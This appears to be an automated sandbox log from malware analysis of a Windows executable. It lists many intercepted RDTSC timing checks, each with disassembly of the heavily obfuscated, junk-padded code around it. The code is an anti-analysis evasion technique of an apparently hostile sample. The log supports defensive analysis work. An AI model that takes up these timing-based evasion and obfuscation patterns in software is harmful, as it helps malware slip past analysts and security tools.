Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608AA second address: 48608B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608B0 second address: 48608B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608B4 second address: 48608B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608B8 second address: 48608EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007F0210428C40h 0x00000010 mov edi, edi 0x00000012 jmp 00007F020CB2844Fh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov cx, 49CBh 0x0000001d mov dl, ch 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov cx, dx 0x00000027 jmp 00007F020CB2844Bh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608EE second address: 48608F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608F4 second address: 48608F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48608F8 second address: 486093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F020CB267F6h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F020CB267F0h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov cx, di 0x0000001f mov edi, 73C3AEDCh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481002D second address: 4810033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810033 second address: 4810037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810037 second address: 481003B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481003B second address: 481005C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F020CB267F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481005C second address: 4810062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810062 second address: 4810066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810066 second address: 4810086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F020CB28454h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810086 second address: 4810183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov esi, 45DFDCFBh 0x00000012 pushfd 0x00000013 jmp 00007F020CB267F0h 0x00000018 sbb ecx, 08B9A048h 0x0000001e jmp 00007F020CB267EBh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 pushad 0x00000027 mov cx, 74DBh 0x0000002b mov edi, eax 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F020CB267F6h 0x00000037 add eax, 323045D8h 0x0000003d jmp 00007F020CB267EBh 0x00000042 popfd 0x00000043 pop esi 0x00000044 pushfd 0x00000045 jmp 00007F020CB267F9h 0x0000004a or cx, ED76h 0x0000004f jmp 00007F020CB267F1h 0x00000054 popfd 0x00000055 popad 0x00000056 xchg eax, ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a pushfd 0x0000005b jmp 00007F020CB267F3h 0x00000060 xor al, FFFFFFAEh 0x00000063 jmp 00007F020CB267F9h 0x00000068 popfd 0x00000069 pushfd 0x0000006a jmp 00007F020CB267F0h 0x0000006f adc esi, 3886CC28h 0x00000075 jmp 00007F020CB267EBh 0x0000007a popfd 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810183 second address: 48101CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F020CB2844Ch 0x00000011 or esi, 070F99B8h 0x00000017 jmp 00007F020CB2844Bh 0x0000001c popfd 0x0000001d mov esi, 4C1FCDEFh 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48101CD second address: 48101D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48101D1 second address: 4810209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 call 00007F020CB28453h 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810209 second address: 481025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 pushfd 0x00000012 jmp 00007F020CB267F9h 0x00000017 or cx, B876h 0x0000001c jmp 00007F020CB267F1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481025D second address: 48102A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, ebx 0x0000000f pushfd 0x00000010 jmp 00007F020CB2844Fh 0x00000015 xor si, 4E5Eh 0x0000001a jmp 00007F020CB28459h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48102A8 second address: 481030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F020CB267F7h 0x00000009 sub ecx, 4E5E286Eh 0x0000000f jmp 00007F020CB267F9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F020CB267F0h 0x0000001b sub cl, FFFFFFE8h 0x0000001e jmp 00007F020CB267EBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov di, cx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481030F second address: 4810314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810314 second address: 4810330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810330 second address: 4810394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d call 00007F020CB28454h 0x00000012 pushfd 0x00000013 jmp 00007F020CB28452h 0x00000018 sub cx, 7B08h 0x0000001d jmp 00007F020CB2844Bh 0x00000022 popfd 0x00000023 pop eax 0x00000024 mov bh, D1h 0x00000026 popad 0x00000027 mov esi, dword ptr [ebp+08h] 0x0000002a pushad 0x0000002b push ecx 0x0000002c mov bx, 1450h 0x00000030 pop edi 0x00000031 mov al, EEh 0x00000033 popad 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push ebx 0x00000039 pop ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810394 second address: 4810399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810399 second address: 481039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481039F second address: 48103A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48103A3 second address: 48103CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F020CB2844Dh 0x00000016 pop eax 0x00000017 mov si, bx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48103CD second address: 48103EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48103EA second address: 4810409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cl, C9h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810409 second address: 481046B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F027F6C49DEh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F020CB267EEh 0x00000016 sub esi, 32437A18h 0x0000001c jmp 00007F020CB267EBh 0x00000021 popfd 0x00000022 jmp 00007F020CB267F8h 0x00000027 popad 0x00000028 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481046B second address: 4810471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810471 second address: 4810495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F027F6C4998h 0x0000000e jmp 00007F020CB267EDh 0x00000013 mov edx, dword ptr [esi+44h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810495 second address: 4810499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810499 second address: 481049F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481049F second address: 48104EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 movsx edi, ax 0x00000013 popad 0x00000014 test edx, 61000000h 0x0000001a jmp 00007F020CB28452h 0x0000001f jne 00007F027F6C65F6h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F020CB2844Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48104EC second address: 48104F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48104F2 second address: 48104F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48104F8 second address: 4810546 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edi 0x00000014 pushfd 0x00000015 jmp 00007F020CB267F9h 0x0000001a jmp 00007F020CB267EBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810546 second address: 481056F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov edi, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F027F6C6596h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F020CB28454h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 481056F second address: 481057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800840 second address: 4800850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB2844Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800850 second address: 4800883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, 5CB3h 0x0000000e call 00007F020CB267F8h 0x00000013 mov edx, ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ax, 7001h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48009E6 second address: 48009EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48009EC second address: 48009F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48009F2 second address: 4800A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F020CB28457h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800C0C second address: 4800C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800C27 second address: 4800C88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esp, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F020CB2844Ch 0x00000014 add ecx, 23BEB2D8h 0x0000001a jmp 00007F020CB2844Bh 0x0000001f popfd 0x00000020 jmp 00007F020CB28458h 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800C88 second address: 4800C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800C8C second address: 4800C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800C90 second address: 4800C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810CE4 second address: 4810CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 mov ax, D2FBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810CEF second address: 4810CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810CF3 second address: 4810D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov ah, 89h 0x0000000c pushfd 0x0000000d jmp 00007F020CB2844Fh 0x00000012 and ecx, 6139DBDEh 0x00000018 jmp 00007F020CB28459h 0x0000001d popfd 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810D37 second address: 4810D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810D3B second address: 4810D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810D41 second address: 4810D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4810D47 second address: 4810D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 488098A second address: 4880990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880990 second address: 48809BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F020CB2844Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48809BB second address: 48809D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48809D7 second address: 48809DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48809DD second address: 48809E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48807B5 second address: 488084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB2844Dh 0x00000008 push eax 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f call 00007F020CB28458h 0x00000014 pop edx 0x00000015 pushfd 0x00000016 jmp 00007F020CB2844Eh 0x0000001b and cx, B388h 0x00000020 jmp 00007F020CB2844Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F020CB28459h 0x0000002d xchg eax, ebp 0x0000002e jmp 00007F020CB2844Eh 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F020CB28457h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 488084A second address: 4880850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880850 second address: 4880854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880854 second address: 4880872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 mov edi, 5AA0F1F2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48202CD second address: 48202D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48202D3 second address: 482034E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d mov edi, eax 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F020CB267F5h 0x00000018 and eax, 56EB78D6h 0x0000001e jmp 00007F020CB267F1h 0x00000023 popfd 0x00000024 call 00007F020CB267F0h 0x00000029 mov esi, 202F8FD1h 0x0000002e pop eax 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F020CB267F8h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880BD7 second address: 4880BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880BDD second address: 4880BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880BE1 second address: 4880BFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov eax, 1D76EF51h 0x0000000f mov ecx, 35EA2F8Dh 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880BFF second address: 4880C14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880C14 second address: 4880C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880C1A second address: 4880C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880C1E second address: 4880C78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push ebx 0x0000000c call 00007F020CB28450h 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 pushad 0x00000014 push esi 0x00000015 pop edx 0x00000016 movzx ecx, di 0x00000019 popad 0x0000001a popad 0x0000001b push dword ptr [ebp+0Ch] 0x0000001e pushad 0x0000001f movzx eax, dx 0x00000022 popad 0x00000023 push dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov si, 2FF1h 0x0000002d pushfd 0x0000002e jmp 00007F020CB2844Eh 0x00000033 sub esi, 47D54AC8h 0x00000039 jmp 00007F020CB2844Bh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880C78 second address: 4880CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push 38513035h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F020CB267F3h 0x00000016 sub esi, 7D51F1BEh 0x0000001c jmp 00007F020CB267F9h 0x00000021 popfd 0x00000022 push esi 0x00000023 jmp 00007F020CB267F7h 0x00000028 pop esi 0x00000029 popad 0x0000002a xor dword ptr [esp], 38503037h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F020CB267F1h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880CF2 second address: 4880CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4880CF6 second address: 4880CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
